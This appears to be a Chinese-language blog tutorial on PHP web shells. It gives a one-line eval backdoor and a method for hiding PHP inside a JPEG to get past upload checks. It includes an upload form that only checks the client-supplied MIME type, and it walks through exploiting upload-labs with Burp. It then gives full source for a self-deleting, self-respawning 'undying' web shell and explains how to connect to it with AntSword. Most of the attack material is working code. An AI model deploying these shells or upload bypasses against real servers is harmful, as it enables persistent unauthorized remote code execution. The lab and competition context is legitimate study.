常见木马

发布于 2022-03-24  219 次阅读


常见木马

什么是木马

木马病毒是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序

php的一句话木马,再网页获取到$_REQUEST['cmd']数据,当成php代码直接执行

<?php
@eval($_REQUEST['cmd']);
?>

图片木马

php上传文件的原理
  1. 用户提交请求,上传文件
  2. 服务器接收请求,将文件存储到临时文件
  3. php解析该临时文件,获得文件类型,文件大小
  4. php通过判断文件类型,进行移动临时文件到上传目录
  5. php给前端返回上传成功,并返回地址

那么php是如何解析临时文件的呢?

其实,文件对自身文件内容,有着自己的文件头标识,我们只需要文件转为16进制,然后看各个文件类型对文件头的定义,就可以知道文件的类型了,例如,jpeg图片格式的文件头(2byte)标识为:0xff, 0xd8,结尾(2byte)标识为:0xff,0xd9

通过读取文件的字节并转为16进制,即可知道该文件类型是什么:

function fileToHex($file){
    if(file_exists($file)){
        $data = file_get_contents($file);
        return bin2hex($data);
    }
    return '';
}

echo fileToHex('文件路径');

输出:

image-20220324162556302

很明显为jpg格式

那么,我们如果不改变文件头,而是在中间加入一串php代码,php是怎么识别类型的呢?

$path = 'D:\Work\image.jpg';
file_put_contents($path,file_get_contents('D:\Work\1.php'),FILE_APPEND);//1.php为phpinfo,实际操作时为木马文件

将图片图片使用记事本打开,可以看到上传的php代码

image-20220324163328349

查看图片发现文件没有损坏

image-20220324163439262

通过上传文件,发现php识别的也是jpg

image-20220324163543668

测试网页代码:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
</head>
<body>
<form action="" enctype="multipart/form-data" method="post" name="uploadfile">上传文件:<input type="file" name="upfile"/><br/>
    <input type="submit" value="上传"/>
</form>
<?php
if(@is_uploaded_file($_FILES['upfile']['tmp_name'])){
 $upfile=$_FILES["upfile"];
 //获取数组里面的值
 $name=$upfile["name"];//上传文件的文件名
 $type=$upfile["type"];//上传文件的类型
 $size=$upfile["size"];//上传文件的大小
 $tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
 //判断是否为图片
 switch($type){
 case 'image/pjpeg':$okType=true;
 break;
 case 'image/jpeg':$okType=true;
 break;
 case 'image/gif':$okType=true;
 break;
 case 'image/png':$okType=true;
 break;
    }
 if($okType){
 /**
         *0:文件上传成功
 *1:超过了文件大小,在php.ini文件中设置
 *2:超过了文件的大小MAX_FILE_SIZE选项指定的值
 *3:文件只有部分被上传
 *4:没有文件被上传
 *5:上传文件大小为0
         */

 $error=$upfile["error"];
 echo "=======================<br/>";
 echo "上传文件名称是:".$name."<br/>";
 echo "上传文件类型是:".$type."<br/>";
 echo "上传文件大小是:".$size."<br/>";
 echo "上传后系统返回的值是:".$error."<br/>";
 echo "上传文件的临时存放路径是:".$tmp_name."<br/>";

 echo "开始移动上传文件<br/>";
 //判断up文件夹是否存在,不存在则创建
 $dir='up/';
 if(!is_dir($dir)){
 mkdir($dir);
        }
 //把上传的临时文件移动到up目录下面
 move_uploaded_file($tmp_name,'up/'.$name);
 $destination="up/".$name;
 echo "=======================<br/>";
 echo "上传信息:<br/>";
 if($error==0){
 echo "文件上传成功啦!";
 echo "<br/>图片预览<br/>";
 echo "<img src=".$destination;
 echo " alt=\"图片预览:\r文件名:".$destination."\r上传时间:\">";
        }else if($error==1){
 echo "超过了文件的大小,在php.ini文件中设置";
        }else if($error==2){
 echo "超过了文件的大小MAX_FILE_SIZE选项中设置";
        }else if($error==3){
 echo "文件只有部分被上传";
        }else if($error==4){
 echo "文件没有被上传";
        }else{
 echo "上传文件大小为0";
        }

    }else{
 echo "请上传jpg,gif,png等格式的图片";
    }
}
?>
</body>

将图片后缀改为.php进行运行查看解析情况

image-20220324164221427

明显正常运行了插入的php代码,将<?php ?>标签之外的字符当成了正常字符输出,只运行了php部分

以upload-labs为例

image-20220324164742977

上传图片马,使用BP抓包进行后缀修改以便让服务器将上传的文件进行php解析

image-20220324164909137

在服务器返回的响应包中看到成功上传文件

image-20220324165019939

在浏览器中访问该路径即可

image-20220324165203759

不死马

什么是不死马

顾名思义就是不死,不死马广泛应用与AWD中或者其他的维持权限的手法中,不死马就是一句话木马的升级版本,一句话木马和不死马相比较起来,安全性做的很好

不死马原型
<?php
ignore_user_abort(true);
    set_time_limit(0);
    @unlink(__FILE__);
    $file = '.ZYGS.php';
    $code = '<?php if(md5($_GET["cmd"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmd"]);}?>';
    while (1){
        file_put_contents($file,$code);
        usleep(5000);
    }
?>
//(e10adc3949ba59abbe56e057f20f883e == 123456)

解析

ignore_user_abort(true);   //设置与远程客户端断开后是否继续执行脚本,true即不断开
set_time_limit(0);   //设置脚本最大的执行时间,0即没有时间限制
@unlink(__FILE__);   //删除文件本身
$file = '.ZYGS.php';   //文件名是.ZYGS.php
$code = <?php ?>;   //php代码
file_get_contents(file,code);   //打开file文件,然后写入code
usleep(5000);   //每隔usleep(5000)写入一个新文件

unlink就是为了删除传入的不死马文件,避免一些不必要的信息泄露出去,$file中可以规定你要不断生成的文件名,usleep(time)是生成木马的时间,这也是不死马的灵魂之一,通过不断生成文件在当前目录下,形成了不死马,不死马是一个进程,所以往往要重启主机或重启服务才能kill掉,当然,也可以条件竞争

<?php if(md5($_GET["cmd"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["cmd"]);}?>

通过判断用户传入的变量,然后转换成md5值和e10adc3949ba59abbe56e057f20f883e进行对比,如果e10adc3949ba59abbe56e057f20f883e解密出来的值和用户传入的值是一样的话,就继续执行@eval($_POST['cmd']),这也是整个不死马中的灵魂

使用方法

将不死马上传到服务器,访问上传后的路径,此时已经开始生成不死马.ZYGS.php了,并且传入的.zygs.php已经被unlink删除

此时使用蚁剑进行连接:http://......./../.zygs.php?cmd=123456 连接密码为:cmd

参考文献:https://cloud.tencent.com/developer/article/1584737

https://cloud.tencent.com/developer/article/1922141

Daniel_WRF
最后更新于 2023-09-22